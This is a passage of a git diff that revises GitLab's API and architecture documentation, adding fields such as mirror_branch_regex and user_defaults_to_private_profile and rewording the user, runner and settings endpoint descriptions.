`tag_name` | string | yes | The Git tag the release is associated with. | | `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. | +If successful, returns [`200 OK`](../../api/index.md#status-codes) and the following +response attributes: + +| Attribute | Type | Description | +|:------------------|:--------|:------------------------------------- | +| `_links` | object | Links of the release. | +| `_links.self` | string | HTTP URL of the release. | +| `_links.edit_url` | string | HTTP URL of the release's edit page. | + Example request: ```shell @@ -359,7 +381,11 @@ Example response: "sha": "760d6cdfb0879c3ffedec13af470e0f71cf52c6cde4d", "filepath": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/evidence.json", "collected_at": "2019-07-16T14:00:12.256Z" - } + }, + "_links": { + "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1", + "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit" + } ] } ``` diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md index bd59aa64e45..00dc34e261a 100644 --- a/doc/api/remote_mirrors.md +++ b/doc/api/remote_mirrors.md @@ -86,6 +86,14 @@ Learn how to [configure a pull mirror](projects.md#configure-pull-mirroring-for- ## Create a push mirror +> Field `mirror_branch_regex` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/102608) in GitLab 15.8 [with a flag](../administration/feature_flags.md) named `mirror_only_branches_match_regex`. Disabled by default. + +FLAG: +On self-managed GitLab, by default the field `mirror_branch_regex` is not available. +To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) +named `mirror_only_branches_match_regex`. +On GitLab.com, this feature is not available. + Push mirroring is disabled by default. To enable it, include the optional parameter `enabled` when you create the mirror: @@ -99,6 +107,7 @@ POST /projects/:id/remote_mirrors | `enabled` | Boolean | no | Determines if the mirror is enabled. | | `keep_divergent_refs` | Boolean | no | Determines if divergent refs are skipped. | | `only_protected_branches` | Boolean | no | Determines if only protected branches are mirrored. | +| `mirror_branch_regex` **(PREMIUM)** | String | no | Contains a regular expression. Only branches with names matching the regex are mirrored. Requires `only_protected_branches` to be disabled. | Example request: @@ -126,6 +135,12 @@ Example response: ## Update a remote mirror's attributes +FLAG: +On self-managed GitLab, by default the field `mirror_branch_regex` is not available. +To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) +named `mirror_only_branches_match_regex`. +On GitLab.com, this feature is not available. + Toggle a remote mirror on or off, or change which types of branches are mirrored: @@ -139,6 +154,7 @@ PUT /projects/:id/remote_mirrors/:mirror_id | `enabled` | Boolean | no | Determines if the mirror is enabled. | | `keep_divergent_refs` | Boolean | no | Determines if divergent refs are skipped. | | `only_protected_branches` | Boolean | no | Determines if only protected branches are mirrored. | +| `mirror_branch_regex`**(PREMIUM)** | String | no | Determines if only the branch whose name matches the regex is mirrored. It does not work with `only_protected_branches` enabled. | Example request: diff --git a/doc/api/repositories.md b/doc/api/repositories.md index 428a09f1bbe..dcbb5d14741 100644 --- a/doc/api/repositories.md +++ b/doc/api/repositories.md @@ -171,7 +171,7 @@ curl --header "PRIVATE-TOKEN: " "https://gitlab.com/api/v4/pr This endpoint can be accessed without authentication if the repository is publicly accessible. Diffs can have an empty diff string if -[diff limits](../development/diffs.md#diff-limits) are reached. +[diff limits](../development/merge_request_concepts/diffs/index.md#diff-limits) are reached. ```plaintext GET /projects/:id/repository/compare diff --git a/doc/api/runners.md b/doc/api/runners.md index 62d5e41c877..c692faf9490 100644 --- a/doc/api/runners.md +++ b/doc/api/runners.md @@ -193,7 +193,7 @@ Get details of a runner. At least the Maintainer role is required to get runner details at the project and group level. -Instance-level runner details via this endpoint are available to all signed in users. +Instance-level runner details via this endpoint are available to all authenticated users. ```plaintext GET /runners/:id @@ -650,18 +650,18 @@ POST /runners | Attribute | Type | Required | Description | |--------------------|--------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `token` | string | yes | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): [Registration token](#registration-and-authentication-tokens). The registration token will be replaced by an authentication token in GitLab 16.0 | -| `description` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Runner's description | +| `token` | string | yes | [Registration token](#registration-and-authentication-tokens) | +| `description` | string | no | Runner's description | | `info` | hash | no | Runner's metadata. You can include `name`, `version`, `revision`, `platform`, and `architecture`, but only `version`, `platform`, and `architecture` are displayed in the Admin Area of the UI | | `active` | boolean | no | Deprecated: Use `paused` instead. Specifies whether the runner is allowed to receive new jobs | -| `paused` | boolean | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Specifies whether the runner should ignore new jobs | -| `locked` | boolean | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Specifies whether the runner should be locked for the current project | -| `run_untagged` | boolean | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Specifies whether the runner should handle untagged jobs | -| `tag_list` | string array | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): A list of runner tags | -| `access_level` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): The access level of the runner; `not_protected` or `ref_protected` | -| `maximum_timeout` | integer | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Maximum timeout that limits the amount of time (in seconds) that runners can run jobs | +| `paused` | boolean | no | Specifies whether the runner should ignore new jobs | +| `locked` | boolean | no | Specifies whether the runner should be locked for the current project | +| `run_untagged` | boolean | no | Specifies whether the runner should handle untagged jobs | +| `tag_list` | string array | no | A list of runner tags | +| `access_level` | string | no | The access level of the runner; `not_protected` or `ref_protected` | +| `maximum_timeout` | integer | no | Maximum timeout that limits the amount of time (in seconds) that runners can run jobs | | `maintainer_note` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/350730), see `maintenance_note` | -| `maintenance_note` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Free-form maintenance notes for the runner (1024 characters) | +| `maintenance_note` | string | no | Free-form maintenance notes for the runner (1024 characters) | ```shell curl --request POST "https://gitlab.example.com/api/v4/runners" \ diff --git a/doc/api/scim.md b/doc/api/scim.md index 0ee9779ccbd..46896d7a4c8 100644 --- a/doc/api/scim.md +++ b/doc/api/scim.md @@ -14,7 +14,7 @@ and provides the `/Users` endpoint. The base URL is `/api/scim/v2/groups/:group_ To use this API, [Group SSO](../user/group/saml_sso/index.md) must be enabled for the group. This API is only in use where [SCIM for Group SSO](../user/group/saml_sso/scim_setup.md) is enabled. It's a prerequisite to the creation of SCIM identities. -Not to be confused with the [internal SCIM API](../development/internal_api/index.md#scim-api). +Not to be confused with the [internal group SCIM API](../development/internal_api/index.md#group-scim-api). ## Get SCIM identities for a group diff --git a/doc/api/search.md b/doc/api/search.md index a59f943319c..f4540e899f0 100644 --- a/doc/api/search.md +++ b/doc/api/search.md @@ -59,6 +59,7 @@ Example response: "ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git", "http_url_to_repo": "http://localhost:3000/twitter/flight.git", "web_url": "http://localhost:3000/twitter/flight", + "readme_url": "http://localhost:3000/twitter/flight/-/blob/master/README.md", "avatar_url": null, "star_count": 0, "forks_count": 0, @@ -478,6 +479,7 @@ Example response: "ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git", "http_url_to_repo": "http://localhost:3000/twitter/flight.git", "web_url": "http://localhost:3000/twitter/flight", + "readme_url": "http://localhost:3000/twitter/flight/-/blob/master/README.md", "avatar_url": null, "star_count": 0, "forks_count": 0, diff --git a/doc/api/secure_files.md b/doc/api/secure_files.md index c2c21134d6f..a47c9654557 100644 --- a/doc/api/secure_files.md +++ b/doc/api/secure_files.md @@ -7,11 +7,10 @@ type: reference, api # Project-level Secure Files API **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../administration/feature_flags.md), disabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../administration/feature_flags.md), disabled by default. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/350748) in GitLab 15.7. -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, -ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `ci_secure_files`. Limited to 100 secure files per project. Files must be smaller than 5 MB. The feature is not ready for production use. +Limited to 100 secure files per project. Files must be smaller than 5 MB. Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/). ## List project secure files diff --git a/doc/api/settings.md b/doc/api/settings.md index 7d55180db94..1fa491ef41c 100644 --- a/doc/api/settings.md +++ b/doc/api/settings.md @@ -226,7 +226,8 @@ Example response: "external_pipeline_validation_service_url": null, "can_create_group": false, "jira_connect_application_key": "123", - "jira_connect_proxy_url": "http://gitlab.example.com" + "jira_connect_proxy_url": "http://gitlab.example.com", + "user_defaults_to_private_profile": true } ``` @@ -251,6 +252,8 @@ Example responses: **(PREMIUM SELF)** ## List of settings that can be accessed via API calls +> Fields `housekeeping_full_repack_period`, `housekeeping_gc_period`, and `housekeeping_incremental_repack_period` [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106963) in GitLab 15.8. Use `housekeeping_optimize_repository_period` instead. + In general, all settings are optional. Certain settings though, if enabled, require other settings to be set to function properly. These requirements are listed in the descriptions of the relevant settings. @@ -268,6 +271,7 @@ listed in the descriptions of the relevant settings. | `allow_local_requests_from_hooks_and_services` | boolean | no | (Deprecated: Use `allow_local_requests_from_web_hooks_and_services` instead) Allow requests to the local network from hooks and services. | | `allow_local_requests_from_system_hooks` | boolean | no | Allow requests to the local network from system hooks. | | `allow_local_requests_from_web_hooks_and_services` | boolean | no | Allow requests to the local network from web hooks and services. | +| `allow_runner_registration_token` | boolean | no | Allow using a registration token to create a runner. Defaults to `true`. | | `archive_builds_in_human_readable` | string | no | Set the duration for which the jobs are considered as old and expired. After that time passes, the jobs are archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: 15 days, 1 month, 2 years. | | `asset_proxy_enabled` | boolean | no | (**If enabled, requires:** `asset_proxy_url`) Enable proxying of assets. GitLab restart is required to apply changes. | | `asset_proxy_secret_key` | string | no | Shared secret with the asset proxy server. GitLab restart is required to apply changes. | @@ -278,6 +282,7 @@ listed in the descriptions of the relevant settings. | `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. | | `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. | | `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage in a namespace. | +| `bulk_import_enabled` | boolean | no | Enable migrating GitLab groups by direct transfer. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8. Requires [`bulk_import_projects` feature flag](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended) to also migrate projects. | | `can_create_group` | boolean | no | Indicates whether users can create top-level groups. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/367754) in GitLab 15.5. Defaults to `true`. | | `check_namespace_plan` **(PREMIUM)** | boolean | no | Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. | | `commit_email_hostname` | string | no | Custom hostname (for private commit emails). | @@ -375,11 +380,12 @@ listed in the descriptions of the relevant settings. | `help_text` **(PREMIUM)** | string | no | GitLab server administrator information. | | `hide_third_party_offers` | boolean | no | Do not display offers from third parties in GitLab. | | `home_page_url` | string | no | Redirect to this URL when not logged in. | -| `housekeeping_bitmaps_enabled` | boolean | no | Git pack file bitmap creation is always enabled and cannot be changed via API and UI. This API field is deprecated and always returns `true`. | -| `housekeeping_enabled` | boolean | no | (**If enabled, requires:** `housekeeping_bitmaps_enabled`, `housekeeping_full_repack_period`, `housekeeping_gc_period`, and `housekeeping_incremental_repack_period`) Enable or disable Git housekeeping. | -| `housekeeping_full_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. | -| `housekeeping_gc_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which `git gc` is run. | -| `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. | +| `housekeeping_bitmaps_enabled` | boolean | no | Deprecated. Git pack file bitmap creation is always enabled and cannot be changed via API and UI. Always returns `true`. | +| `housekeeping_enabled` | boolean | no | Enable or disable Git housekeeping. Requires additional fields to be set. For more information, see [Housekeeping fields](#housekeeping-fields). | +| `housekeeping_full_repack_period` | integer | no | Deprecated. Number of Git pushes after which an incremental `git repack` is run. Use `housekeeping_optimize_repository_period` instead. For more information, see [Housekeeping fields](#housekeeping-fields). | +| `housekeeping_gc_period` | integer | no | Deprecated. Number of Git pushes after which `git gc` is run. Use `housekeeping_optimize_repository_period` instead. For more information, see [Housekeeping fields](#housekeeping-fields). | +| `housekeeping_incremental_repack_period` | integer | no | Deprecated. Number of Git pushes after which an incremental `git repack` is run. Use `housekeeping_optimize_repository_period` instead. For more information, see [Housekeeping fields](#housekeeping-fields).| +| `housekeeping_optimize_repository_period`| integer | no | Number of Git pushes after which an incremental `git repack` is run. | | `html_emails_enabled` | boolean | no | Enable HTML emails. | | `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. | | `in_product_marketing_emails_enabled` | boolean | no | Enable [in-product marketing emails](../user/profile/notifications.md#global-notification-settings). Enabled by default. | @@ -511,6 +517,7 @@ listed in the descriptions of the relevant settings. | `user_deactivation_emails_enabled` | boolean | no | Send an email to users upon account deactivation. | | `user_default_external` | boolean | no | Newly registered users are external by default. | | `user_default_internal_regex` | string | no | Specify an email address regex pattern to identify default internal users. | +| `user_defaults_to_private_profile` | boolean | no | Newly created users have private profile by default. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231301) in GitLab 15.8. Defaults to `false`. | | `user_oauth_applications` | boolean | no | Allow users to register any application to use GitLab as an OAuth provider. | | `user_show_add_ssh_key_message` | boolean | no | When set to `false` disable the `You won't be able to pull or push project code via SSH` warning shown to users with no uploaded SSH key. | | `version_check_enabled` | boolean | no | Let GitLab inform you when an update is available. | @@ -520,6 +527,28 @@ listed in the descriptions of the relevant settings. | `jira_connect_application_key` | String | no | Application ID of the OAuth application that should be used to authenticate with the GitLab.com for Jira Cloud app | | `jira_connect_proxy_url` | String | no | URL of the GitLab instance that should be used as a proxy for the GitLab.com for Jira Cloud app | +## Housekeeping fields + +::Tabs + +:::TabTitle 15.8 and later + +If the `housekeeping_optimize_repository_period` +field is set to an integer, housekeeping operations are performed after the number +of Git pushes you specify. + +:::TabTitle 15.7 and earlier + +The `housekeeping_enabled` field enables or disables +Git housekeeping. To function properly, this field requires `housekeeping_optimize_repository_period` +to be set, or _all_ of these values to be set: + +- `housekeeping_bitmaps_enabled` +- `housekeeping_full_repack_period` +- `housekeeping_gc_period` + +::EndTabs + ### Package Registry: Package file size limits The package file size limits are not part of the Application settings API. diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md index 1ef5299668d..90cbe19112c 100644 --- a/doc/api/snippet_repository_storage_moves.md +++ b/doc/api/snippet_repository_storage_moves.md @@ -1,6 +1,6 @@ --- stage: Create -group: Editor +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments type: reference --- @@ -9,7 +9,7 @@ type: reference > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49228) in GitLab 13.8. -Snippet repositories can be moved between storages. This can be useful when +Snippet repositories can be moved between storages. This API can help you when [migrating to Gitaly Cluster](../administration/gitaly/index.md#migrate-to-gitaly-cluster), for example. @@ -266,6 +266,8 @@ Example response: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49228) in GitLab 13.8. Schedules repository storage moves for each snippet repository stored on the source storage shard. +This endpoint migrates all snippets at once. For more information, see +[Move all snippets](../administration/operations/moving_repositories.md#move-all-snippets). ```plaintext POST /snippet_repository_storage_moves diff --git a/doc/api/snippets.md b/doc/api/snippets.md index c312642a450..39965ae91f3 100644 --- a/doc/api/snippets.md +++ b/doc/api/snippets.md @@ -1,6 +1,6 @@ --- stage: Create -group: Editor +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -20,7 +20,7 @@ Valid values for snippet visibility levels are: | Visibility | Description | |:-----------|:----------------------------------------------------| | `private` | Snippet is visible only to the snippet creator. | -| `internal` | Snippet is visible for any logged in user except [external users](../user/admin_area/external_users.md). | +| `internal` | Snippet is visible for any authenticated user except [external users](../user/admin_area/external_users.md). | | `public` | Snippet can be accessed without any authentication. | ## List all snippets for a user diff --git a/doc/api/todos.md b/doc/api/todos.md index 2bfae1972b7..b66270d2f5d 100644 --- a/doc/api/todos.md +++ b/doc/api/todos.md @@ -27,7 +27,7 @@ Parameters: | `project_id` | integer | no | The ID of a project | | `group_id` | integer | no | The ID of a group | | `state` | string | no | The state of the to-do item. Can be either `pending` or `done` | -| `type` | string | no | The type of to-do item. Can be either `Issue`, `MergeRequest`, `Commit`, `Epic`, `DesignManagement::Design`, `AlertManagement::Alert` or `Namespace` | +| `type` | string | no | The type of to-do item. Can be either `Issue`, `MergeRequest`, `Commit`, `Epic`, `DesignManagement::Design` or `AlertManagement::Alert` | ```shell curl --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/todos" diff --git a/doc/api/topics.md b/doc/api/topics.md index 13a5eabf8f9..8acf6bd645d 100644 --- a/doc/api/topics.md +++ b/doc/api/topics.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/api/users.md b/doc/api/users.md index 382d5fe03c1..a577dc26043 100644 --- a/doc/api/users.md +++ b/doc/api/users.md @@ -12,7 +12,7 @@ Get a list of users. This function takes pagination parameters `page` and `per_page` to restrict the list of users. -### For normal users +### For non-administrator users ```plaintext GET /users @@ -468,6 +468,7 @@ over `password`. In addition, `reset_password` and NOTE: From [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29888/), `private_profile` defaults to `false`. +From [GitLab 15.8](https://gitlab.com/gitlab-org/gitlab/-/issues/231301), `private_profile` defaults to the value determined by [this](../user/admin_area/settings/account_and_limit_settings.md#set-profiles-of-new-users-to-private-by-default) setting. NOTE: From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35604), `bio` defaults to `""` instead of `null`. @@ -485,7 +486,7 @@ Parameters: | `avatar` | No | Image file for user's avatar | | `bio` | No | User's biography | | `can_create_group` | No | User can create groups - true or false | -| `color_scheme_id` | No | User's color scheme for the file viewer (see [the user preference docs](../user/profile/preferences.md#syntax-highlighting-theme) for more information) | +| `color_scheme_id` | No | User's color scheme for the file viewer (for more information, see the [user preference documentation](../user/profile/preferences.md#syntax-highlighting-theme)) | | `email` | Yes | Email | | `extern_uid` | No | External UID | | `external` | No | Flags the user as external - true or false (default) | @@ -498,14 +499,14 @@ Parameters: | `note` | No | Administrator notes for this user | | `organization` | No | Organization name | | `password` | No | Password | -| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) | +| `private_profile` | No | User's profile is private - true or false. The default value is determined by [this](../user/admin_area/settings/account_and_limit_settings.md#set-profiles-of-new-users-to-private-by-default) setting. | | `projects_limit` | No | Number of projects user can create | | `provider` | No | External provider name | | `reset_password` | No | Send user password reset link - true or false(default) | | `shared_runners_minutes_limit` **(PREMIUM)** | No | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this user. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | | `skip_confirmation` | No | Skip confirmation - true or false (default) | | `skype` | No | Skype ID | -| `theme_id` | No | GitLab theme for the user (see [the user preference docs](../user/profile/preferences.md#navigation-theme) for more information) | +| `theme_id` | No | GitLab theme for the user (for more information, see the [user preference documentation](../user/profile/preferences.md#navigation-theme) for more information) | | `twitter` | No | Twitter account | | `username` | Yes | Username | | `view_diffs_file_by_file` | No | Flag indicating the user sees only one file diff per page | @@ -533,7 +534,7 @@ Parameters: | `avatar` | No | Image file for user's avatar | | `bio` | No | User's biography | | `can_create_group` | No | User can create groups - true or false | -| `color_scheme_id` | No | User's color scheme for the file viewer (see [the user preference docs](../user/profile/preferences.md#syntax-highlighting-theme) for more information) | +| `color_scheme_id` | No | User's color scheme for the file viewer (for more information, see the [user preference documentation](../user/profile/preferences.md#syntax-highlighting-theme) for more information) | | `commit_email` | No | User's commit email. Set to `_private` to use the private commit email. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375148) in GitLab 15.5. | | `email` | No | Email | | `extern_uid` | No | External UID | @@ -547,7 +548,7 @@ Parameters: | `note` | No | Administration notes for this user | | `organization` | No | Organization name | | `password` | No | Password | -| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) | +| `private_profile` | No | User's profile is private - true or false. | | `projects_limit` | No | Limit projects each user can create | | `pronouns` | No | Pronouns | | `provider` | No | External provider name | @@ -555,7 +556,7 @@ Parameters: | `shared_runners_minutes_limit` **(PREMIUM)** | No | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this user. Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0`. | | `skip_reconfirmation` | No | Skip reconfirmation - true or false (default) | | `skype` | No | Skype ID | -| `theme_id` | No | GitLab theme for the user (see [the user preference docs](../user/profile/preferences.md#navigation-theme) for more information) | +| `theme_id` | No | GitLab theme for the user (for more information, see the [user preference documentation](../user/profile/preferences.md#navigation-theme) for more information) | | `twitter` | No | Twitter account | | `username` | No | Username | | `view_diffs_file_by_file` | No | Flag indicating the user sees only one file diff per page | @@ -601,9 +602,9 @@ Parameters: Get current user. -### For normal users +### For non-administrator users -Gets currently authenticated user. +Gets the authenticated user. ```plaintext GET /user @@ -729,7 +730,7 @@ parameters: ## User status -Get the status of the currently signed in user. +Get the status of the authenticated user. ```plaintext GET /user/status @@ -785,6 +786,7 @@ Set the status of the current user. ```plaintext PUT /user/status +PATCH /user/status ``` | Attribute | Type | Required | Description | @@ -793,7 +795,9 @@ PUT /user/status | `message` | string | no | Message to set as a status. It can also contain emoji codes. Cannot exceed 100 characters. | | `clear_status_after` | string | no | Automatically clean up the status after a given time interval, allowed values: `30_minutes`, `3_hours`, `8_hours`, `1_day`, `3_days`, `7_days`, `30_days` -When both parameters `emoji` and `message` are empty, the status is cleared. When the `clear_status_after` parameter is missing from the request, the previously set value for `"clear_status_after` is cleared. +Difference between `PUT` and `PATCH` + +When using `PUT` any parameters that are not passed are set to `null` and therefore cleared. When using `PATCH` any parameters that are not passed are ignored. Explicitly pass `null` to clear a field. ```shell curl --request PUT --header "PRIVATE-TOKEN: " --data "clear_status_after=1_day" --data "emoji=coffee" \ @@ -813,7 +817,7 @@ Example responses ## Get user preferences -Get a list of currently authenticated user's preferences. +Get a list of the authenticated user's preferences. ```plaintext GET /user/preferences @@ -942,7 +946,7 @@ Example response: ## User counts -Get the counts (same as in top right menu) of the currently signed in user. +Get the counts (same as in top right menu) of the authenticated user. | Attribute | Type | Description | | --------------------------------- | ------ | ---------------------------------------------------------------------------- | @@ -974,11 +978,16 @@ Example response: ## List user projects -Please refer to the [List of user projects](projects.md#list-user-projects). +See the [list of user projects](projects.md#list-user-projects). ## List associations count for user -Get a list of a specified user's count of projects, groups, issues and merge requests. +Get a list of a specified user's count of: + +- Projects. +- Groups. +- Issues. +- Merge requests. Administrators can query any user, but non-administrators can only query themselves. @@ -1005,7 +1014,7 @@ Example response: ## List SSH keys -Get a list of currently authenticated user's SSH keys. +Get a list of the authenticated user's SSH keys. ```plaintext GET /user/keys @@ -1097,7 +1106,7 @@ Parameters: > The `usage_type` parameter was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105551) in GitLab 15.7. -Creates a new key owned by the currently authenticated user. +Creates a new key owned by the authenticated user. ```plaintext POST /user/keys @@ -1187,8 +1196,10 @@ This also adds an audit event, as described in [audit instance events](../admini ## Delete SSH key for current user -Deletes key owned by currently authenticated user. -This returns a `204 No Content` status code if the operation was successfully or `404` if the resource was not found. +Deletes key owned by the authenticated user. + +This returns a `204 No Content` status code if the operation was successfully +or `404` if the resource was not found. ```plaintext DELETE /user/keys/:key_id @@ -1217,7 +1228,7 @@ Parameters: ## List all GPG keys -Get a list of currently authenticated user's GPG keys. +Get a list of the authenticated user's GPG keys. ```plaintext GET /user/gpg_keys @@ -1241,7 +1252,7 @@ Example response: ## Get a specific GPG key -Get a specific GPG key of currently authenticated user. +Get a specific GPG key of authenticated user. ```plaintext GET /user/gpg_keys/:key_id @@ -1269,7 +1280,7 @@ Example response: ## Add a GPG key -Creates a new GPG key owned by the currently authenticated user. +Creates a new GPG key owned by the authenticated user. ```plaintext POST /user/gpg_keys @@ -1300,7 +1311,7 @@ Example response: ## Delete a GPG key -Delete a GPG key owned by currently authenticated user. +Delete a GPG key owned by the authenticated user. ```plaintext DELETE /user/gpg_keys/:key_id @@ -1431,11 +1442,10 @@ curl --request DELETE --header "PRIVATE-TOKEN: " "https://git ## List emails -Get a list of currently authenticated user's emails. +Get a list of the authenticated user's emails. NOTE: -Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently -does not return the primary email address. +This endpoint does not return the primary email address, but [issue 25077](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) proposes to change this behavior. ```plaintext GET /user/emails @@ -1465,8 +1475,7 @@ Parameters: Get a list of a specified user's emails. Available only for administrator NOTE: -Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently -does not return the primary email address. +This endpoint does not return the primary email address, but [issue 25077](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) proposes to change this behavior. ```plaintext GET /users/:id/emails @@ -1502,7 +1511,7 @@ Parameters: ## Add email -Creates a new email owned by the currently authenticated user. +Creates a new email owned by the authenticated user. ```plaintext POST /user/emails @@ -1553,8 +1562,11 @@ Parameters: ## Delete email for current user -Deletes email owned by currently authenticated user. -This returns a `204 No Content` status code if the operation was successfully or `404` if the resource was not found. +Deletes email owned by authenticated user. + +This returns a `204 No Content` status code if the operation was successfully +or `404` if the resource was not found. + This cannot delete a primary email address. ```plaintext @@ -1645,10 +1657,10 @@ Returns: - `201 OK` on success. - `404 User Not Found` if user cannot be found. -- `403 Forbidden` when trying to deactivate a user: +- `403 Forbidden` when trying to deactivate a user that is: - Blocked by administrator or by LDAP synchronization. - - That is not [dormant](../user/admin_area/moderate_users.md#automatically-deactivate-dormant-users). - - That is internal. + - Not [dormant](../user/admin_area/moderate_users.md#automatically-deactivate-dormant-users). + - Internal. ## Activate user **(FREE SELF)** @@ -1714,7 +1726,7 @@ Returns: ## Get user contribution events -Please refer to the [Events API documentation](events.md#get-user-contribution-events) +See the [Events API documentation](events.md#get-user-contribution-events) ## Get all impersonation tokens of a user **(FREE SELF)** diff --git a/doc/api/v3_to_v4.md b/doc/api/v3_to_v4.md deleted file mode 100644 index 875f4528c0e..00000000000 --- a/doc/api/v3_to_v4.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -redirect_to: 'https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md' -remove_date: '2023-01-31' ---- - -This document was moved to [another location](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md). - - - - - diff --git a/doc/architecture/blueprints/ci_data_decay/index.md b/doc/architecture/blueprints/ci_data_decay/index.md index 6df37e28992..e26e7d5dbd3 100644 --- a/doc/architecture/blueprints/ci_data_decay/index.md +++ b/doc/architecture/blueprints/ci_data_decay/index.md @@ -1,8 +1,8 @@ --- -status: ready +status: ongoing creation-date: "2021-09-10" authors: [ "@grzesiek" ] -coach: "@kamil" +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@jporter", "@cheryl.li" ] owning-stage: "~devops::verify" participating-stages: [] diff --git a/doc/architecture/blueprints/ci_pipeline_components/index.md b/doc/architecture/blueprints/ci_pipeline_components/index.md index 100c9e67fda..5bff794c683 100644 --- a/doc/architecture/blueprints/ci_pipeline_components/index.md +++ b/doc/architecture/blueprints/ci_pipeline_components/index.md @@ -1,8 +1,8 @@ --- status: proposed creation-date: "2022-09-14" -authors: [ "@fabio", "@grzesiek" ] -coach: "@kamil" +authors: [ "@ayufan", "@fabiopitino", "@grzesiek" ] +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@dhershkovitch", "@marknuzzo" ] owning-stage: "~devops::verify" participating-stages: [] @@ -134,6 +134,28 @@ For best experience with any systems made of components it's fundamental that co The version identifies the exact interface and behavior of the component. - **Resolvable**: when a component depends on another component, this dependency must be explicit and trackable. +### Predictable components + +Eventually, we want to make CI Catalog Components predictable. Including a +component by its path, using a fixed `@` version, should always return the same +configuration, regardless of a context from which it is getting included from. +The resulting configuration should be the same for a given component version +and the set of inputs passed using `with:` keyword, hence it should be +[deterministic](https://en.wikipedia.org/wiki/Deterministic_algorithm). + +A component should not produce side effects by being included and should be +[referentially transparent](https://en.wikipedia.org/wiki/Referential_transparency). + +Making components predictable is a process, and we may not be able to achieve +this without significantly redesigning CI templates, what could be disruptive +for users and customers right now. We initially considered restricting some +top-level keywords, like `include: remote:` to make components more +deterministic, but eventually agreed that we first need to iterate on the MVP +to 